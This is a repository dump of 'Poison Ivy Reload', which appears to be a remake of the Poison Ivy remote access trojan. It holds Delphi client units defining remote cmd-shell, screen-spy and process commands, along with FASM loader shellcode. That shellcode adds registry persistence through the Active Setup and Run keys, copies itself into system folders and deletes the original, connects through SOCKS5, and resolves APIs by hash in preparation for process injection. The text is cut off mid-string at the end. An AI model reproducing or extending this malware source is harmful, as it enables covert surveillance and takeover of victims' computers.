SwitchToEdit(True);\nend;\n\nprocedure TDnsForm.PopupMenu_1Popup(Sender: TObject);\nbegin\n  MenuItem_Delete1.Enabled := ListView_Dns.Selected <> nil;\n  MenuItem_Edit1.Enabled := ListView_Dns.Selected <> nil;\nend;\n\nprocedure TDnsForm.SwitchToEdit(b: Boolean);\nbegin\n  if b then\n  begin\n    if not IsEdit then\n    begin\n      Edit_DNS.Text := '';\n      SpinEdit_Port.Value := 0;\n    end;\n\n    ListView_Dns.Align := alNone;\n    ListView_Dns.Visible := False;\n\n    Panel_1.Align := alNone;\n    Panel_1.Visible := False;\n\n    Panel_Edit.Align := alClient;\n    Panel_Edit.Visible := True;\n  end else\n  begin\n    ListView_Dns.Align := alClient;\n    ListView_Dns.Visible := True;\n\n    Panel_1.Align := alBottom;\n    Panel_1.Visible := True;\n\n    Panel_Edit.Align := alNone;\n    Panel_Edit.Visible := False;\n  end;\nend;\n\nend.\n"
  },
  {
    "path": "Client/UnitGlobal.pas",
    "content": "unit UnitGlobal;\n\ninterface\nuses\n  Winapi.Windows;\n\nconst\n  WM_USER = $400;\n  WM_CONNECTED = WM_USER + 1;\n  WM_DISCONNECTED = WM_USER + 2;\n  WM_CLIENT_MESSAGE = WM_USER + 3;\n  WM_ADD_STATS = WM_USER + 4;\n\nconst\n  PACKET_HEADER_SIGNATURE = $deedbeef;\n  MIN_COMPRESS_DATA_SIZE = 512;\n\ntype\n  PPROTO_HEADER = ^TPROTO_HEADER;\n  TPROTO_HEADER = packed record\n    random: UInt32;\n    signature: UInt32;\n    cmd: UInt8;\n    packet_unpacked_size: UInt32;\n    packet_size: UInt32;\n  end;\n\n  TCOMMAND = (\n    CMD_SHELLCODE_MAIN,           // shell code main\n    CMD_SHELLCODE_INFORMATION,    // shellcode information\n    CMD_SHELLCODE_CMD_SHELL,      // cmd_shell\n    CMD_SHELLCODE_THUMBNAIL,      // thumbnail\n    CMD_SHELLCODE_SCREENSPY,      // screenspy\n    CMD_SHELLCODE_PROCESS,        // process\n\n    CMD_PING,                 // ping\n    CMD_PONG,                 // pingظ\n\n    CMD_LOGIN_INFO,           // ½Ϣ\n\n    CMD_GET_PROCESS_LIST,     // ȡб\n    CMD_PROCESS_LIST,         // б\n\n    CMD_BEGIN_SCREENSPY,      // Ļ\n    CMD_STOP_SCREENSPY,       // رĻ\n\n    CMD_SCREENSPY_START,      // ֪ͨ\n    CMD_SCREENSPY_DATA,       // Ļ\n    CMD_SCREENSPY_END,        // ر֪ͨ\n\n    CMD_THUMBANIL_START,      // ѭȡͼ\n    CMD_THUMBNAIL_DATA,       // Ļͼ\n    CMD_THUMBANIL_END,        // ͼ\n\n    CMD_BEGIN_CMDSHELL,       // cmdshell\n    CMD_STOP_CMDSHELL,        // رcmdshell\n\n    CMD_CMDSHELL_START,       // ֪ͨ\n    CMD_CMDSHELL_DATA,        // cmdݣserver to client = command, client to server = cmdshell data\n    CMD_CMDSHELL_END          // ر֪ͨ\n  );\n\nconst\n  CmdStrings: array [0..23] of string = (\n    'CMD_SHELLCODE_MAIN',\n    'CMD_SHELLCODE_INFORMATION',\n    'CMD_SHELLCODE_CMD_SHELL',\n    'CMD_SHELLCODE_THUMBNAIL',\n    'CMD_SHELLCODE_SCREENSPY',\n    'CMD_SHELLCODE_PROCESS',\n\n    'CMD_PING',\n    'CMD_PONG',\n\n    'CMD_LOGIN_INFO',\n\n    'CMD_GET_PROCESS_LIST',\n    'CMD_PROCESS_LIST',\n\n    'CMD_BEGIN_SCREENSPY',\n    'CMD_STOP_SCREENSPY',\n\n    'CMD_SCREENSPY_START',\n    'CMD_SCREENSPY_DATA',\n    'CMD_SCREENSPY_END',\n\n    'CMD_THUMBANIL_START',\n    'CMD_THUMBNAIL_DATA',\n    'CMD_THUMBANIL_END',\n\n    'CMD_BEGIN_CMDSHELL',\n    'CMD_STOP_CMDSHELL',\n\n    'CMD_CMDSHELL_START',\n    'CMD_CMDSHELL_DATA',\n    'CMD_CMDSHELL_END'\n  );\n\nvar\n  g_ListeningPort: Integer;\n  g_Password: AnsiString;\n  g_ShowBalloonHint, g_TreeVeiwLayout, g_ShowThumbnail: Boolean;\n  g_TotalConnections, g_TotalAttempts, g_Sent_UnCompressed, g_Recv_UnCompressed: Int64;\n\nimplementation\n\n\nend.\n"
  },
  {
    "path": "Client/UnitRC4.pas",
    "content": "unit UnitRC4;\n\ninterface\n\ntype\n  PRC4_SBOX = ^TRC4_SBOX;\n  TRC4_SBOX = array [0..255] of Byte;\n\nprocedure rc4_init(var sbox: TRC4_SBOX; key: PByte; key_len: Cardinal);\nprocedure rc4_crypt(var sbox: TRC4_SBOX; data: Pointer; data_len: Cardinal);\n\nimplementation\n\nprocedure rc4_init(var sbox: TRC4_SBOX; key: PByte; key_len: Cardinal);\nvar\n  k: array [0..255] of Byte;\n  i, j: Cardinal;\n  temp: Byte;\nbegin\n  for i := 0 to 255 do\n  begin\n    sbox[i] := i;\n    k[i] := key[i mod key_len];\n  end;\n\n  j := 0;\n  for i := 0 to 255 do\n  begin\n    j := (j + sbox[i] + k[i]) mod 256;\n    temp := sbox[i];\n    sbox[i] := sbox[j];\n    sbox[j] := temp;\n  end;\nend;\n\nprocedure rc4_crypt(var sbox: TRC4_SBOX; data: Pointer; data_len: Cardinal);\nvar\n  i, j, k, t: Cardinal;\n  temp: Byte;\n  d: PByte;\nbegin\n  d := PByte(data);\n  i := 0;\n  j := 0;\n  for k := 0 to data_len - 1 do\n  begin\n    i := (i + 1) mod 256;\n    j := (j + sbox[i]) mod 256;\n    temp := sbox[i];\n    sbox[i] := sbox[j];\n    sbox[j] := temp;\n    t := (sbox[i] + sbox[j]) mod 256;\n    d[k] := d[k] xor sbox[t];\n  end;\nend;\n\nend.\n"
  },
  {
    "path": "Client/UnitShellCodes.pas",
    "content": "unit UnitShellCodes;\n\ninterface\nuses\n  Winapi.Windows;\n\nconst\n  CONNECT_METHOD_DIRECT = 0;\n  CONNECT_METHOD_SOCKS5 = 1;\n\n  STARTUP_METHOD_NONE = 0;\n  STARTUP_METHOD_CURRENT_RUN = 1;\n  STARTUP_METHOD_ACTIVEX = 2;\n\n  COPY_METHOD_NONE = 0;\n  COPY_METHOD_TO_WINDOWS = 1;\n  COPY_METHOD_TO_SYSTEM = 2;\n\n// config\n{function get_id_offset(): DWORD; external;\nfunction get_mutex_name_offset(): DWORD; external;\nfunction get_startup_name_offset(): DWORD; external;\nfunction get_connect_method_offset(): DWORD; external;\nfunction get_startup_method_offset(): DWORD; external;\nfunction get_inject_to_ie_offset(): DWORD; external;\nfunction get_inject_to_process_offset(): DWORD; external;\nfunction get_inject_process_name_offset(): DWORD; external;\nfunction get_server_list_offset(): DWORD; external;\nfunction get_socks5_server_offset(): DWORD; external;\nfunction get_socks5_port_offset(): DWORD; external;\nfunction get_socks5_username_offset(): DWORD; external;\nfunction get_socks5_password_offset(): DWORD; external;\nfunction get_rc4_key_offset(): DWORD; external;\nfunction get_copy_method_offset(): DWORD; external;\nfunction get_copy_to_offset(): DWORD; external;\n}\n// shellcodes\n{function get_loader_main_ptr(): Pointer; external;\nfunction get_connect_server_by_socks5_ptr(): Pointer; external;\nfunction get_startup_activex_ptr(): Pointer; external;\nfunction get_startup_current_run_ptr(): Pointer; external;\nfunction get_find_process_by_name_ptr(): Pointer; external;\nfunction get_create_ie_process_ptr(): Pointer; external;\nfunction get_injecter_ptr(): Pointer; external;\nfunction get_copy_self_ptr(): DWORD; external;\n}\nfunction get_cmd_shell_ptr(): Pointer; external;\nfunction get_information_ptr(): Pointer; external;\nfunction get_main_ptr(): Pointer; external;\nfunction get_process_ptr(): Pointer; external;\nfunction get_screenspy_ptr(): Pointer; external;\nfunction get_thumbnail_ptr(): Pointer; external;\n{\nfunction get_loader_main_size(): DWORD; external;\nfunction get_connect_server_by_socks5_size(): DWORD; external;\nfunction get_startup_activex_size(): DWORD; external;\nfunction get_startup_current_run_size(): DWORD; external;\nfunction get_find_process_by_name_size(): DWORD; external;\nfunction get_create_ie_process_size(): DWORD; external;\nfunction get_injecter_size(): DWORD; external;\nfunction get_copy_self_size(): DWORD; external;\n}\nfunction get_cmd_shell_size(): DWORD; external;\nfunction get_information_size(): DWORD; external;\nfunction get_main_size(): DWORD; external;\nfunction get_process_size(): DWORD; external;\nfunction get_screenspy_size(): DWORD; external;\nfunction get_thumbnail_size(): DWORD; external;\n\nimplementation\n{$L 'shellcodes.obj'}\n\nend.\n"
  },
  {
    "path": "Readme.md",
    "content": "# Poison Ivy Reload\n\n* **Support Winxp-Win10(x86 and x64 paltform**)\n* **Shellcode and FWB+ technology**\n* **Single thread and single port(Inspiration comes from Bifrost Rat)**\n* **增加了WOW64的支持，由于UAC的问题，有几个功能没有作用，比如ACTIVEX启动，由于更改了Loader，没有时间更改Client端的生成功能，最近好忙，等有时间再修改，先提交上来，有时间的可以Fork修改**\n* **现在的shellcode结构类似于2.32，会先注入到explorer然后再注入到目标进程，增加了守护的功能**\n* **请使用fasm,delphi,vs2013编译**\n\n## Screenshot\n\n![MainDlg0](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Main.png)\n\n![MainDlg1](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Main_1.png)\n\n![MainDlg2](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Main_2.png)\n\n![StatusPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Status.png)\n\n![AboutPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/About.png)\n\n## Features\n![BuilderPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Builder.png)\n\n![ScreenSpyPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/ScreenSpy_1.png)\n\n![ScreenSpyPanel2](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/ScreenSpy_2.png)\n\n![ProcessesPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/Processes.png)\n\n![CmdShellPanel](https://github.com/killeven/Poison-Ivy-Reload/blob/master/screenshot/CmdShell.png)\n"
  },
  {
    "path": "loader v1.0/extra_function/add_startup_activex_x86.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\nFUNCTION_DATA_BEGIN add_startup_activex_x86\n\nproc add_startup_activex_x86 stdcall uses ebx esi edi, global_data: dword\n\tlocals\n\t\troot    _HKEY    ?\n\t\tstub    _HKEY    ?\n\t\ttempkey _WCHAR   10\tdup(?)\n\tendl\n\n\tmov esi, [global_data]\n\n\tassume esi: global_data_t\n\n\tlea eax, [root]\n\tpush eax\n\tpush dword KEY_ALL_ACCESS\n\tpush 0\n\tPUSH_ANSI_STRING 'SOFTWARE\\Microsoft\\Active Setup\\Installed Components'\n\tpush dword HKEY_LOCAL_MACHINE\n\tinvoke esi.RegOpenKeyExA\n\ttest eax, eax\n\tjnz .error_exit\n\n\tlea ecx, [esi.activex_name]\n\tlea eax, [stub]\n\tinvoke esi.RegCreateKeyExW, [root], ecx, 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, eax, 0\n\ttest eax, eax\n\tjz .success\n\n\tinvoke esi.RegCloseKey, [root]\n\tjmp .error_exit\n\n.success:\n\t; windows底层有检查字符串的对齐，对齐不正确的话会报错, 所以这里拷贝到堆栈里\n\tlea ebx, [tempkey]\n\tinvoke esi.RtlZeroMemory, ebx, 10 * 2\n\t\n\tPUSH_WIDE_STRING 'StubPath'\n\tpush ebx\n\tinvoke esi.lstrcpyW\n\n\tlea edi, [esi.loader_path]\n\tinvoke esi.lstrlenW, edi\n\tadd eax, 1\n\tshl eax, 1  ; len * 2\n\n\tinvoke esi.RegSetValueExW, [stub], ebx, 0, REG_SZ, edi, eax\n\n\tinvoke esi.RegCloseKey, [stub]\n\tinvoke esi.RegCloseKey, [root]\n\n.error_exit:\n\tret\nendp\n\nFUNCTION_DATA_END add_startup_activex_x86"
  },
  {
    "path": "loader v1.0/extra_function/add_startup_hklm_x86.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\nFUNCTION_DATA_BEGIN add_startup_hklm_x86\n\nproc add_startup_hklm_x86 stdcall uses ebx esi edi, global_data: dword\n\tlocals\n\t\troot\t_HKEY\t?\n\t\ttempkey _WCHAR\t100\tdup(?)\n\tendl\n\n\tmov esi, [global_data]\n\n\tassume esi: global_data_t\n\n\tlea eax, [root]\n\tpush eax\n\tpush dword KEY_WRITE\n\tpush 0\n\tPUSH_ANSI_STRING 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'\n\tpush dword HKEY_CURRENT_USER\n\tinvoke esi.RegOpenKeyExA \n\ttest eax, eax\n\tjnz .error_exit\n\n\t; windows底层有检查字符串的对齐，对齐不正确的话会报错, 所以这里拷贝到堆栈里\n\tlea ebx, [tempkey]\n\tinvoke esi.RtlZeroMemory, ebx, 100 * 2\n\tlea ecx, [esi.nklm_name]\n\tpush ecx\n\tpush ebx\n\tinvoke esi.lstrcpyW\n\n\tlea edi, [esi.loader_path]\n\tinvoke esi.lstrlenW, edi\n\tadd eax, 1\n\tshl eax, 1  ; len * 2  \n\t\n\tinvoke esi.RegSetValueExW, [root], ebx, 0, REG_SZ, edi, eax\n\tinvoke esi.RegCloseKey, [root]\n\n.error_exit:\n\tret\nendp\n\nFUNCTION_DATA_END add_startup_hklm_x86"
  },
  {
    "path": "loader v1.0/extra_function/build.bat",
    "content": "del *.bin\n@for /f \"delims=\" %%i in ('dir *.asm /b') do fasm %%i"
  },
  {
    "path": "loader v1.0/extra_function/connect_by_socks5.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\n; 定义socks5相关结构\nstruct socks5req1\n    Ver         _CHAR  ?\n    nMethods    _CHAR  ?\n    Methods     _CHAR  2   dup(?)\nends\n\nstruct socks5ans1\n    Ver     _CHAR  ?\n    Method  _CHAR  ?\nends\n\nstruct socks5req2\n    Ver     _CHAR   ?\n    Cmd     _CHAR   ?\n    Rsv     _CHAR   ?\n    Atyp    _CHAR   ?\n    IPAddr  _ULONG  ?\n    Port    _USHORT ?\nends\n\nstruct socks5ans2\n    Ver     _CHAR   ?\n    _Rep    _CHAR   ?\n    Rsv     _CHAR   ?\n    Atyp    _CHAR   ?\n    Other   _CHAR   ?\nends\n\nstruct authreq\n    Ver         _CHAR   ?\n    ULen        _CHAR   ?\n    NamePass    _CHAR   256 dup(?)\nends\n\nstruct authans\n    Ver     _CHAR   ?\n    Status  _CHAR   ?\nends\n\nFUNCTION_DATA_BEGIN connect_by_socks5\n\n; 通过socks连接server\nproc connect_by_socks5 stdcall server: dword, port: dword\n    locals\n        s               _SOCKET     ?\n        proxyreq1       socks5req1  ?\n        proxyreq2       socks5req2  ?\n        _authreq        authreq     ?     \n        buf             _BYTE       600 dup(?)\n        user_len    \t_BYTE       ?\n        pass_len    \t_BYTE       ?\n    endl\n    \n    assume esi: global_data_t\n    \n    lea eax, [esi.socks5_dns]\n    movzx ecx, [esi.socks5_port]\n    invoke esi.connect_server, eax, ecx\n    cmp eax, SOCKET_ERROR\n    je .ret\n    \n    mov [s], eax\n    mov byte [proxyreq1.Ver], 5\n    mov byte [proxyreq1.nMethods], 2\n    mov byte [proxyreq1.Methods], 0\n    mov byte [proxyreq1.Methods + 1], 2\n    \n    lea ecx, [proxyreq1]\n    invoke esi.send_data, esi, [s], ecx, sizeof.socks5req1\n    cmp eax, SOCKET_ERROR\n    je .close_and_ret_error\n    \n    invoke esi.wait_buffer, esi, [s], 3, 0\n    cmp eax, 0\n    jle .close_and_ret_error\n    \n    \n    lea edi, [buf]\n    invoke esi.RtlZeroMemory, edi, 600\n    invoke esi.recv, [s], edi, 600, 0\n    \n    assume edi: socks5ans1\n    \n    .if ([edi.Ver] <> 5) | (([edi.Method] <> 0) & ([edi.Method] <> 2))\n        jmp .close_and_ret_error    \n    .endif\n    \n    lea eax, [esi.socks5_user]\n    invoke esi.lstrlenA, eax\n    mov [user_len], al\n    \n    .if ([edi.Method] = 2) & ([user_len] > 0)\n        lea eax, [esi.socks5_pass]\n        invoke esi.lstrlenA, eax\n        mov [pass_len], al\n\n        lea ecx, [_authreq]                \n        invoke esi.RtlZeroMemory, ecx, sizeof.authreq\n        \n        mov byte [_authreq.Ver], 5\n        mov al, byte [user_len]\n        mov [_authreq.ULen], al\n        \n        lea eax, [esi.socks5_user]\n        lea edi, [_authreq.NamePass]\n        invoke esi.lstrcpyA, edi, eax\n        \n        xor eax, eax\n        mov al, byte [user_len]\n        add edi, eax\n        \n        mov al, byte [pass_len]\n        mov byte [edi], al\n        add edi, 1\n        \n        lea eax, [esi.socks5_pass]\n        invoke esi.lstrcpyA, edi, eax\n        \n        xor eax, eax\n        mov al, byte [pass_len]                 \n        add edi, eax\n        \n        lea ecx, [_authreq]\n        sub edi, ecx\n                      \n        invoke esi.send_data, esi, [s], ecx, edi\n        \n        invoke esi.wait_buffer, esi, [s], 3, 0\n        cmp eax, 0\n        jle .close_and_ret_error\n        \n        lea edi, [buf]\n        invoke esi.RtlZeroMemory, edi, 600\n        invoke esi.recv, [s], edi, 600, 0\n        \n        assume edi: authans\n        \n        .if ([edi.Ver] <> 5) | ([edi.Status] <> 0)\n            jmp .close_and_ret_error\n        .endif\n        \n    .endif\n    \n    mov byte [proxyreq2.Ver], 5\n    mov byte [proxyreq2.Cmd], 1\n    mov byte [proxyreq2.Rsv], 0\n    mov byte [proxyreq2.Atyp], 1\n    invoke esi.htons, [port]\n    mov word [proxyreq2.Port], ax\n    \n    invoke esi.inet_addr, [server]\n    mov [proxyreq2.IPAddr], eax\n    \n    .if (eax = INADDR_NONE)\n        invoke esi.gethostbyname, [server]\n        test eax, eax\n        jz .close_and_ret_error\n        \n        assume eax: hostent\n        \n        mov eax, [eax.h_addr_list]\n        mov eax, [eax]\n        push dword [eax]\n        pop dword [proxyreq2.IPAddr]\n    .endif\n    \n    lea ecx, [proxyreq2]\n    invoke esi.send_data, esi, [s], ecx, sizeof.socks5req2\n    \n    invoke esi.wait_buffer, esi, [s], 3, 0\n    cmp eax, 0\n    jle .close_and_ret_error\n    \n    lea edi, [buf]\n    invoke esi.RtlZeroMemory, edi, 600\n    invoke esi.recv, [s], edi, 600, 0\n    \n    assume edi: socks5ans2\n    \n    .if ([edi.Ver] <> 5) | ([edi._Rep] <> 0)\n        jmp .close_and_ret_error\n    .endif\n    \n    mov eax, [s]\n    \n.ret:\n    ret\n\n.close_and_ret_error:\n    invoke esi.closesocket, [s]\n    mov eax, SOCKET_ERROR\n    jmp .ret\nendp\n\nFUNCTION_DATA_END connect_by_socks5"
  },
  {
    "path": "loader v1.0/extra_function/copy_self_x86.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\nFUNCTION_DATA_BEGIN copy_self_x86\n\nproc copy_self_x86 stdcall uses ebx esi edi, global_data: dword\n\tlocals\n\t\tcopy_to\t_WCHAR\t256 dup(?)\n\tendl\n\n\tmov esi, [global_data]\n\n\tassume esi: global_data_t\n\n\tlea edi, [copy_to]\n\t.if byte [esi.copy_method] = COPY_METHOD_TO_WINDOWS\n\t\tinvoke esi.GetWindowsDirectoryW, edi, 255\n\t.elseif byte [esi.copy_method] = COPY_METHOD_TO_SYSTEM\n\t\t.if [esi.is_wow64]\n\t\t\tpush [esi.GetProcAddress]\n\t\t\tPUSH_HASH GetSystemWow64DirectoryW\n\t\t\tpush [esi.kernel32]\n\t\t\tcall [esi.get_proc_from_hash]\n\t\t\tstdcall eax, edi, 255\n\t\t.else\n\t\t\tinvoke esi.GetSystemDirectoryW, edi, 255\n\t\t.endif\n\t.endif\n\tmov dword [edi + eax * 2], '\\'\t; '\\',0\n\n\tlea eax, [esi.copy_to]\n\tinvoke esi.lstrcatW, edi, eax\n\n\tlea ebx, [esi.loader_path]\n\tinvoke esi.lstrcmpiW, edi, ebx\n\n\t.if eax <> 0\n\t\tinvoke esi.CopyFileW, ebx, edi, true\n\t\ttest eax, eax\n\t\tjz .error_exit\n\n\t\t.if byte [esi.melt] <> 0\n\t\t\tinvoke esi.DeleteFileW, ebx\n\t\t.endif\n\n\t\t; 将新文件路径写入loader_path\n\t\tinvoke esi.RtlZeroMemory, ebx, 256 * 2\n\t\tinvoke esi.lstrcpyW, ebx, edi\n\t.endif\n\n.error_exit:\n\tret\nendp\n\nFUNCTION_DATA_END copy_self_x86"
  },
  {
    "path": "loader v1.0/extra_function/find_process_by_name_x86.asm",
    "content": "include '../include/global.inc'\ninclude 'win32a.inc'\n\nuse32\n\nFUNCTION_DATA_BEGIN find_process_by_name_x86\n\nproc find_process_by_name_x86 stdcall uses ebx esi edi, global_data: dword, name: dword\n\tlocals\n\t\tpe32\tPROCESSENTRY32W\t?\n\t\tpid\t\t_DWORD\t\t\t?\n\tendl\n\n\tmov esi, [global_data]\n\n\tassume esi: global_data_t\n\n\tmov [pid], 0\n\tmov [pe32.dwSize], sizeof.PROCESSENTRY32W\n\n\tinvoke esi.CreateToolhelp32Snapshot, TH32CS_SNAPALL, 0\n\tcmp eax, -1\n\tje .ret\n\n\tmov edi, eax\n\n\tlea ebx, [pe32]\n\tinvoke esi.Process32FirstW, edi, ebx\n\n\t.while eax <> 0\n\t\tlea eax, [pe32.szExeFile]\n\t\tinvoke esi.lstrcmpiW, eax, [name]\n\t\t.if eax = 0\n\t\t\tpush [pe32.th32ProcessID]\n\t\t\tpop [pid]\n\t\t\tjmp .close_ret\n\t\t.endif\n\n\t\tinvoke esi.Process32NextW, edi, ebx\n\t.endw\n\n.close_ret:\n\tinvoke esi.CloseHandle, edi\n\n.ret:\n\tmov eax, [pid]\n\tret\nendp\n\nFUNCTION_DATA_END find_process_by_name_x86"
  },
  {
    "path": "loader v1.0/extra_function/get_kernel32_base_x64.asm",
    "content": "include '../include/global.inc'\n\nuse64\n\nFUNCTION_DATA_BEGIN get_kernel32_base_x64\nget_kernel32_base_x64:\n\tmov rax, 0x60\n\tmov rax, [gs:rax]\n\tmov rax, [rax + 0x18]\n\tmov rax, [rax + 0x30]\n\tmov rax, [rax]\n\tmov rax, [rax]\n\tmov rax, [rax + 0x10]\n\tret\nFUNCTION_DATA_END get_kernel32_base_x64"
  },
  {
    "path": "loader v1.0/extra_function/get_ntdll_base_x64.asm",
    "content": "include '../include/global.inc'\n\nuse64\n\nFUNCTION_DATA_BEGIN get_ntdll_base_x64\nget_ntdll_base_x64:\n\tmov rax, 0x60\n\tmov rax, [gs:rax]\n\tmov rax, [rax + 0x18]\n\tmov rax, [rax + 0x30]\n\tmov rax, [rax + 0x10]\n\tret\t\nFUNCTION_DATA_END get_ntdll_base_x64"
  },
  {
    "path": "loader v1.0/extra_function/get_proc_from_hash_x64.asm",
    "content": "include '../include/global.inc'\n\nuse64\n\n; get_proc_from_hash_x64\n; 调用例子\n; sub rsp, 0x20\n; mov rcx, module_base\n; mov edx, hash\n; mov r8, GetProcAddress\n\nFUNCTION_DATA_BEGIN get_proc_from_hash_x64\nget_proc_from_hash_x64:\n\tmov rax, rsp\n\tmov [rax + 0x8], rbx\n\tmov [rax + 0x10], rbp\n\tmov [rax + 0x18], rsi\n\tmov [rax + 0x20], rdi\n\tpush r14\n\tsub rsp, 0x20\n\tmovsxd rax, dword [rcx + 0x3C]\n\tmov r9, rcx\n\tmov rbx, r8\n\tmov ecx, dword[rax + rcx + 0x88]\n\tmov ebp, edx\n\ttest ecx, ecx\n\tjz .error_exit\n\n\tcmp dword [rax + r9 + 0x8C], 0x0\n\tje .error_exit\n\n\tlea rax, [r9 + rcx]\n\tmov r11d, dword [rax + 0x18]\n\ttest r11d, r11d\n\tjz .error_exit\n\n\tmov r8d, dword [rax + 0x20]\n\tmov edi, dword [rax + 0x1C]\n\tmov esi, dword [rax + 0x24]\n\tadd r8, r9\n\tadd rdi, r9\n\tadd rsi, r9\n\txor edx, edx\n\ttest r11d, r11d\n\tjz .error_exit\n\n.next:\n\tmov r10d, dword [r8]\n\tadd r10, r9\n\txor ecx, ecx\n\tmov al, byte [r10]\n\tmov r14, r10\n\tjmp .calc_hash_check\n\n.calc_hash:\n\timul ecx, ecx, 0x83\n\tmovsx eax, al\n\tadd ecx, eax\n\tinc r14\n\tmov al, byte [r14]\n\n.calc_hash_check:\n\ttest al, al\n\tjnz .calc_hash\n\tbtr ecx, 0x1F\n\tcmp ecx, ebp\n\tje .found\n\n\tinc edx\n\tadd r8, 4\n\tcmp edx, r11d\n\tjb .next\n\n.error_exit:\n\txor eax, eax\n\n.ret:\n\tmov rbx, [rsp + 0x30]\n\tmov rbp, [rsp + 0x38]\n\tmov rsi, [rsp + 0x40]\n\tmov rdi, [rsp + 0x48]\n\tadd rsp, 0x20\n\tpop r14\n\tret\n\n.found:\n\ttest rbx, rbx\n\tjnz .get_proc\n\tmovzx ecx, word [rsi + rdx*2]\n\tmov eax, dword [rdi + rcx*4]\n\tadd rax, r9\n\tjmp .ret\n\n.get_proc:\n\tmov rdx, r10\n\tmov rcx, r9\n\tcall rbx\n\tjmp .ret\nFUNCTION_DATA_END get_proc_from_hash_x64"
  },
  {
    "path": "loader v1.0/extra_function/inject_to_explorer_code_x64_init.asm",
    "content": "include '../include/global.inc'\ninclude 'win64a.inc'\n\nuse64\n\nmacro API64_DECLARE library, [funcname] {\n    common\n        library     dq  ?\n    forward\n        funcname    dq  ?\n}\n\n; 批量声明api hash\nmacro API64_HASH_TABLE library, [funcname] {\n\tforward\n\t\tlocal ..c, ..hash\n\t\tvirtual at 0\n\t\t\tdb\t`funcname\n\t\t\t..hash = 0\n\t\t\trepeat $\n\t\t\t\tload ..c from $$+%-1\n\t\t\t\t..hash = ..hash * 131 + ..c\n\t\t\t\t..hash = ..hash and 0xffffffff\n\t\t\tend repeat\n\t\t\t..hash = ..hash and 0x7fffffff\n\t\tend virtual\n\t\tapi_hash_t\t..hash, x64_global_data_t#.#library, x64_global_data_t#.#funcname    \n}\n\nmacro API64_HASH_TABLE_END {\n\tcommon\n\t\t_WORD\t0    \n}\n\nstruct x64_global_data_t\n\tAPI64_DECLARE kernel32,\\\n\t\tLoadLibraryA, GetProcAddress, CloseHandle, OpenProcess, lstrlenW, lstrcatW, lstrcpyW, lstrcmpiW, Sleep, VirtualAllocEx, WriteProcessMemory,\\\n\t\tWaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread,\\\n\t\tGetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW, GetProcessHeap, HeapAlloc, HeapFree, CreateMutexA, GetLastError, GetCurrentProcess\n\n\tAPI64_DECLARE ntdll,\\\n\t\tRtlZeroMemory, RtlMoveMemory\n\n\tAPI64_DECLARE advapi32,\\\n\t\tOpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegCloseKey\n\n\texpand_str\tdq\t?\n\tsedebugname\tdq\t?\nends\n\n; rcx = global_data\n; rdx = x64_global_data_t\nproc init uses rbx rsi rdi\n\tsub rsp, 0x20\n\n\tmov rsi, rcx\n\tmov rdi, rdx\n\n\tassume rsi: global_data_t\n\tassume rdi: x64_global_data_t\n\n\t;call get_kernel32_base_x64\n\tcall qword [rsi.get_kernel32_base_x64]\n\tmov [rdi.kernel32], rax\n\t;call get_ntdll_base_x64\n\tcall qword [rsi.get_ntdll_base_x64]\n\tmov [rdi.ntdll], rax\n\n\tmov rcx, [rdi.kernel32]\n\tMOV_HASH edx, GetProcAddress\n\txor r8, r8\n\t;call get_proc_from_hash_x64\n\tcall qword [rsi.get_proc_from_hash_x64]\n\tmov [rdi.GetProcAddress], rax\n\n\tmov rcx, [rdi.kernel32]\n\tMOV_HASH edx, LoadLibraryA\n\tmov r8, rax\n\t;call get_proc_from_hash_x64\n\tcall qword [rsi.get_proc_from_hash_x64]\n\tmov [rdi.LoadLibraryA], rax\n\n\tPUSH_ANSI_STRING 'advapi32'\n\tpop rcx\n\tcall qword [rdi.LoadLibraryA]\n\tmov [rdi.advapi32], rax\n\n\tcall .push_api_table\n\n\tAPI64_HASH_TABLE kernel32,\\\n\t\tCloseHandle, OpenProcess, lstrlenW, lstrcatW, lstrcpyW, lstrcmpiW, Sleep, VirtualAllocEx, WriteProcessMemory,\\\n\t\tWaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread,\\\n\t\tGetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW, GetProcessHeap, HeapAlloc, HeapFree, CreateMutexA, GetLastError, GetCurrentProcess\n\n\tAPI64_HASH_TABLE ntdll,\\\n\t\tRtlZeroMemory, RtlMoveMemory\n\n\tAPI64_HASH_TABLE advapi32,\\\n\t\tOpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegCloseKey\n\n\tAPI64_HASH_TABLE_END\n\n.push_api_table:\n\tpop rbx\n\n\tassume rbx: api_hash_t \n\n\t.while word [rbx] <> 0\n\t\txor rcx, rcx\n\t\tmov cx, word [rbx.lib_offset]\n\t\tmov rcx, qword [rdi + rcx]\n\t\tmov edx, [rbx.hash]\n\t\tmov r8, [rdi.GetProcAddress]\n\t\t;call get_proc_from_hash_x64\n\t\tcall qword [rsi.get_proc_from_hash_x64]\n\n\t\txor rcx, rcx\n\t\tmov cx, word [rbx.save_offset]\n\t\tmov [rdi + rcx], rax\n\t\tadd rbx, sizeof.api_hash_t\n\t.endw\n\n\tPUSH_WIDE_STRING '%PROGRAMFILES(X86)%\\Internet 